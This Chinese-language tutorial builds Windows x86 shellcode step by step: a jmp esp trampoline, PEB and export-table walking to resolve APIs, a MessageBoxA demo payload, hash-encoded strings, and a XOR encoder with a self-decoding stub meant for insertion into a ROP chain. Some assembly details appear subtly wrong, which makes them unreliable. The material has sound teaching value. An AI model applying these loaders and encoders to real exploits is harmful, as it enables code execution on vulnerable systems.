内联汇编

VS编写壳代码需要用到裸函数,在其中使用内联汇编:

1
2
3
4
5
6
7
8
9
void _declspec(naked)funcName()
{
__asm
{
push 0;
mov eax, 0xdeadbeaf;
call eax;
}
}

调用函数不能直接call一个立即数地址;

提取机械码用ida;

尽量不使payload中出现\x00,导致字符串截断

push 0; -> xor edi, edi; push edi;

在windowsROP里,此电脑 -> 管理 -> 事件查看器 -> Windows日志 -> 应用程序 以查看触发异常;

跳板

在WindowsAPI中,jmp esp 指令做为一个常见gadget,其地址在同版本API库加载dll时大部分情况下(没开随机地址)固定,32位情况下为 0x7xxxxxxx;

实现ROP即可使返回地址指向 jmp esp ,使其作为跳板让eip指向返回地址后面的shellcode;

TEB/PEB查找模块

为了使shellcode通用性强,可用TEB/PEB查找API模块,不使用立即数地址;

介绍

所有进程都会引用 kernel32.dll;

窗口程序(WinMain)user32.dll 专用,封装所有窗口操作相关API;

无论kernel32或user32最终会调用 ntdll.dll,r0大门;

TEB:thread environment block

线程环境块,结构体,保存线程中各种信息,每个线程都有一个;

1
2
3
4
5
TEB
{
+0x00 _NT_TIB NtTib; //线程信息块
+0x30 _PEB* PPEB;
}

线程信息块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
typedef struct	_NT_TIB
{
struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; //用于操作SEH
//SEH:windows异常处理机制,大量运用于反调试程序;
PVOID StackBase;
PVOID StackLimit;
PVOID SubSystemTib;
union
{
PVOID FiberData;
DWORD Version;
};
PVOID ArbitraryUserPointer;
struct _NT_TIB *Self; //指向自己的指针
} NT_TIB;
typedef NT_TIB *PNT_TIB;

PEB: process environment block

进程环境块,需要的模块放于其中;

访问

用 NtCurrentTeb(); 可返回TEB类型指针;

其内部实现只有一句汇编码:

1
mov eax, dword ptr fs:[0x18]	;18h偏移是指向自己的指针 *Self

则fs段寄存器存放的是TEB,偏移30h为PEB指针;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PEB
{
+0x00c _PEB_LDR_DATA* Ldr;
}

struct _PEB_LDR_DATA
{
+0x000 Uint length;
+0x004 Uchar initialized;
+0x008 LVOID SsHandle;
+0x00c _LIST_ENTRY InloadOrderModuleList; //载入顺序排序的dll
+0x014 _LIST_ENTRY InMemoryOrderModuleList; //内存排序的dll
+0x01c _LIST_ENTRY InitializationOrderModuleList; //初始化排序的dll
}

初始化排序一般不会变动,所以用到它,第一个为ntdll,第二个kernel32或kernelbase;

_LIST_ENTRY是一个双头链表,其中只有两个字段,指向上一个和下一个结构体的指针;

_LIST_ENTRY其实为一个结构体内部的子结构体,数据信息放在其父结构体中,父结构体存放dll信息;

LDR

父结构体:

1
2
3
4
5
6
7
8
9
10
11
struct _LDR_DATA_TABLE_ENTRY
{
_LIST_ENTRY InloadOrderModuleList; //载入顺序排序的dll
_LIST_ENTRY InMemoryOrderModuleList; //内存排序的dll
_LIST_ENTRY InitializationOrderModuleList; //初始化排序的dll
PVOID DllBase; //dll基地址,要得到的模块
PVOID EntryPoint;
PVOID SizeOfImage;
PVOID FullDllName;
...
}

则得到dll基址所需汇编码为:

1
2
3
4
5
mov esi, fs:[0x30] ;得到peb
mov esi, [esi+0xc] ;得到ldr
mov esi, [esi+0x1c];得到_LIST_ENTRY
mov esi, [esi] ;得到下一个结构体(kernel32)
mov esi, [esi+0x8] ;得到dllbase(32位,两个指针类型占8字节)

对于windows段寄存器的操作别用keystone找机械码,有问题,就用裸函数写内联ida提取;

得到dllbase后,需要找到导出表,与其中的目标函数名称做比较确定真实地址;

需要确定 “LoadLibraryA”,“GetProcAddress”;

对于字符串比较不能使用strcmp系统函数,需要自实现汇编,相同返回0,不同返回1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Mystrcmp()
{
_asm
{
lea esi, [strA] //函数三个参数
lea edi, [strB]
mov ecx, 循环次数
repe cmpsb //循环比较
je Equal
mov eax, 1
jmp End
Equal:
mov eax, 0
End:
}
}

repe cmpsb需要DF标志位置零向后比较;

小实验:利用PEB获取user32模块调用MessageBoxA

大体思路:

  • 获取关键API: loadLibrary,getprocaddress,这样不管是什么模块中的什么函数都能使用;
  • 获取kernel32模块:获取以实现第一步,两个关键API在此模块中;
  • 使用两个API得到MessageBoxA的函数地址;
  • 调用MessageBoxA;

如何得到两个关键API呢?

用之前分析的方法:通过TEB->PEB->LDR->dllbase,找到dll基址,通过基址以及PE结构的知识得到dll的导出表,遍历函数名称表(ENT)和目标函数(loadlibrary,getprocaddress)名称比较得到函数索引,根据索引和函数序数表(EOT)得到此函数的地址表(EAT)索引,则得到两个关键API的地址;

写入字符串(函数名)

写入要比较的两个关键API字符串,以及调用API函数需要的其他字符串;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//LoadLibraryA
//GetProcAddress
//user32.dll
//MessageBoxA
//Second_BC
//以上字符串放入栈,栈中顺序也如上排序
//第一步,保存字符串信息
pushad
sub esp, 0x30
mov ax, 0x0043
mov word ptr ds:[esp - 2], ax //这种写法节省空间
sub esp, 2
push 0x425f646e
push 0x6f636553
push 0x41786f
push 0x42656761
push 0x7373654d
mov byte ptr ds:[esp - 1], 0x0
sub esp, 0x1
mov ax, 0x6c6c
mov word ptr ds:[esp - 2], ax
sub esp, 0x2
push 0x642e3233
push 0x72657375
mov byte ptr ds:[esp - 1], 0x0
sub esp, 0x1
mov ax, 0x7373
mov word ptr ds:[esp - 2], ax
sub esp, 0x2
push 0x65726464
push 0x41636f72
push 0x50746547
mov byte ptr ds:[esp - 1], 0x0
sub esp, 0x1
push 0x41797261
push 0x7262694c
push 0x64616f4c
mov ecx, esp
push ecx
call fun_payload //主体实现,之后给出,一个参数,即这些字符串首地址
popad

获取kernel32.dll基址

用到了上述peb知识;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//第二步,获取kernel32.dll基址
fun_GetModule:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword ptr fs:[0x30] //peb地址
mov esi, [esi + 0xc] //ldr地址
mov esi, [esi + 0x1c] //list_entry
mov esi, [esi] //list_entry第二项,kernel32
mov esi, [esi + 0x8] //dllbase
mov eax, esi
pop esi
mov esp, ebp
pop ebp
retn

获取两个重量级API

用到pe结构知识;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
//32位偏移计算
// MyGetProcAddress(imageBase, funName, nameLen)
// ImageBase + 0x3c = nt头
// nt头 + 0x78 = dataDirectory 第一项 导出表
// EAT = 导出表 + 0x1c
// ENT = 导出表 + 0x20
// EOT = 导出表 + 0x24
//第三步,获取导出表查找所需函数
fun_GetProcAddr:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
push edx
push ebx
push ecx

//获取函数地址表,函数序数表,函数名称表
mov edx, [ebp + 0x8] //第一个参dllbase
mov esi, [edx + 0x3c] //lf_anew
lea esi, [edx + esi] //nt头 = base + lf_anew
mov esi, [esi + 0x78] //导出表RVA
lea esi, [edx + esi] //导出表VA
mov edi, [esi + 0x1c] //EAT RVA
lea edi, [edx + edi] //EAT
mov [ebp - 0x4], edi
mov edi, [esi + 0x20] //ENT RVA
lea edi, [edx + edi] //ENT
mov [ebp - 0x8], edi
mov edi, [esi + 0x24] //EOT RVA
lea edi, [edx + edi] //EOT
mov [ebp - 0xc], edi

//用ENT循环比较函数名得到目标函数的序数表index
//ENT和EOT索引同步
xor eax, eax //循环控制 i = 0
cld //DF标志位置为0,使比较时edi,esi往下加不是减
jmp tag_cmpFirst
tag_cmpLoop:
inc eax //i++
tag_cmpFirst:
mov esi, [ebp - 0x8] //ENT
mov esi, [esi + eax*4] //RVA
lea esi, [edx + esi] //函数名称地址
mov edi, [ebp + 0xc] //传入二参,目标函数名称地址
mov ecx, [ebp + 0x10] //三参,循环次数
repe cmpsb //esi, edi字符串比较
jne tag_cmpLoop

//根据已知EOT索引获取EAT中地址
mov esi, [ebp - 0xc] //EOT
xor edi, edi
mov di, [esi + eax*2] //word类型乘2,得到EAT索引

mov ebx, [ebp - 0x4] //EAT
mov esi, [ebx + edi*4] //函数地址rva
lea eax, [edx + esi] //返回目标函数地址

pop ecx
pop ebx
pop edx
pop edi
pop esi
mov esp, ebp
pop ebp
retn 0xc //接收三个参数

payload

第一步跳转的主要的思路实现;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
//第四步,payload
fun_payload:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
push edx
push ebx
push ecx

//dll基址
call fun_GetModule
mov [ebp - 0x4], eax

//LoadLibraryA地址
push 0xd
mov ecx, [ebp + 0x8] //获取字符串首地址
push ecx
push eax
call fun_GetProcAddr
mov [ebp - 0x8], eax //LoadLibraryA地址

//GetProcAddress地址
push 0xf
lea ecx, [ecx + 0xd] //获取字符串
push ecx
push [ebp - 0x4]
call fun_GetProcAddr
mov [ebp - 0xc], eax //GetProcAddress地址

//用load加载user32.dll
mov ecx, [ebp + 0x8] //获取user32字符串
lea ecx, [ecx + 0x1c]
push ecx
call [ebp - 0x8]
mov [ebp - 0x10], eax //user32.dll基址

//用getprocaddr获取messagebox地址
mov ecx, [ebp + 0x8] //获取messagebox字符串
lea ecx, [ecx + 0x27]
push ecx
push [ebp - 0x10]
call [ebp - 0xc]
mov [ebp - 0x14], eax //MessageBoxA地址

//调用messagebox
mov ecx, [ebp + 0x8] //获取Second_BC
lea ecx, [ecx + 0x33]
xor eax, eax
push eax
push ecx
push ecx
push eax
call [ebp - 0x14]

pop ecx
pop ebx
pop edx
pop edi
pop esi
mov esp, ebp
pop ebp
retn 0x4 //接收一个参数,输出字符串地址

以上代码用裸函数外套即可使用:

1
2
3
4
5
6
7
void _declspec(naked)shellCode()
{
__asm
{

}
}

用ida提取之后的机械码shellcode即可放到ROP链中使用,前提是有漏洞;

字符串优化

由于在上一步写入字符串这里,会引进\x00以及大量的字符串导致内存浪费,此处有一个方法使其优化:编码;

构造一个函数,使得字符串通过之后输出其对应的4字节哈希值,写入时写入哈希值,此时满足不破坏比较时的一个逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
DWORD getHash(char* str)
{
DWORD digest = 0;
while (*str)
{
digest = (digest << 25 | digest >> 7);
digest = digest + *str;
str++;
}
return digest;
}

void _declspec(naked)asmGetHash()
{
__asm
{
push ebp
mov ebp, esp
sub esp, 0x4
push ecx
push edx
push ebx
push esi

mov dword ptr [ebp - 0x4], 0 //digest = 0
lea esi, [ebp + 0x8] //str
xor ecx, ecx //i = 0
tag_hashLoop:
xor eax, eax
mov al, [esi + ecx] //取第i个字符
test al, al
jz tag_end
mov ebx, [ebp - 0x4]
shl ebx, 0x19 //digest << 25
mov edx, [ebp - 0x4]
shr edx, 0x7 //digest >> 7
or ebx, edx // |
add ebx, eax // +
mov [ebp - 0x4], ebx //digest = ...
inc ecx //i++
jmp tag_hashLoop
tag_end:
mov eax, [ebp - 0x4]

pop esi
pop ebx
pop edx
pop ecx
mov esp, ebp
pop ebp
retn 0x4
}
}

编码优化

除了字符串,代码中也会出现大量\x00,由此对代码进行编码处理,且编码可逆,输入过程中不出现\x00,进入程序内部后自解密为真实代码执行;

编码

思路是使用异或对每个字节编码,长度不变,编码后的内容不应该有\x00,则选择的异或key有讲究;

在 0x01 ~ 0xff 之间遍历出一个可以使用的key进行异或;

则编码代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
BOOL enShellcode(char * shellcode, int shelllen)
{
BOOL result = TRUE;
int nkey = 0;
unsigned char* encodebuff = new unsigned char[shelllen];
//遍历合适的key
for (int key = 0x1; key < 0xff; key++)
{
result = TRUE;
nkey = key;
//循环编码
for (int i = 0; i < shelllen; i++)
{
encodebuff[i] = shellcode[i] ^ key;
if (encodebuff[i] == 0)
{
result = FALSE;
break;
}
}
if (result == TRUE)
{
break;
}
}
if (result == FALSE)
return result;
//格式化打印
FILE* fp;
fopen_s(&fp, "encode.txt", "w+");
fprintf(fp, "nkey = 0x%02x\n", nkey);
fprintf(fp, "shell len = %d\n", shelllen);
fprintf(fp,"\\\n\"");
for (int i = 0; i < shelllen; i++)
{
fprintf(fp, "\\x%02x", encodebuff[i]);
if ((i + 1) % 16 == 0)
{
fprintf(fp, "\" \\\n\"");
}
}
fprintf(fp, "\"");
fclose(fp);
delete[] encodebuff;
return result;
}

解码

对于输入的shellcode需要一段代码对其进行解码,这里会涉及到偏移问题,如下图所示;

offset

对于获取执行代码的地址,有一个非常经典的代码:

1
2
3
	call next_ins
next_ins:
pop eax

将eip压入栈,再弹出给eax寄存器,此时返回的地址则是pop eax这一条指令所在位置;

但问题出现在call next_ins,其硬编码会变成 E8 00 00 00,不能有\x00,所以代码需要改变为如下:

1
2
3
40000 call 40003h
40004 retn
40005 pop eax

此时40003地址的一字节和40004的retn指令硬编码共同组成两字节的汇编指令:inc ebx,这对实现解码来说无影响,执行这条指令后便pop rax了,且避免了产生\x00,此时返回的地址则是 40004 retn 这个地方;

此时解码汇编如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__asm
{
xor eax, eax //清零eax
call tag_get_eip-1 //获取retn处地址
tag_get_eip:
retn
pop eax

lea esi, [eax + offset] //通过本段汇编码长度得到shellcode地址
xor ecx, ecx
mov cx, count //循环次数,shellcode长度

tag_decode:
mov al, [esi + ecx] //循环解码,倒序
xor al, key
mov [esi + ecx], al
loop tag_decode
xor [esi + ecx], key //解码漏了的第一个字节

jmp esi //转到shellcode地址
}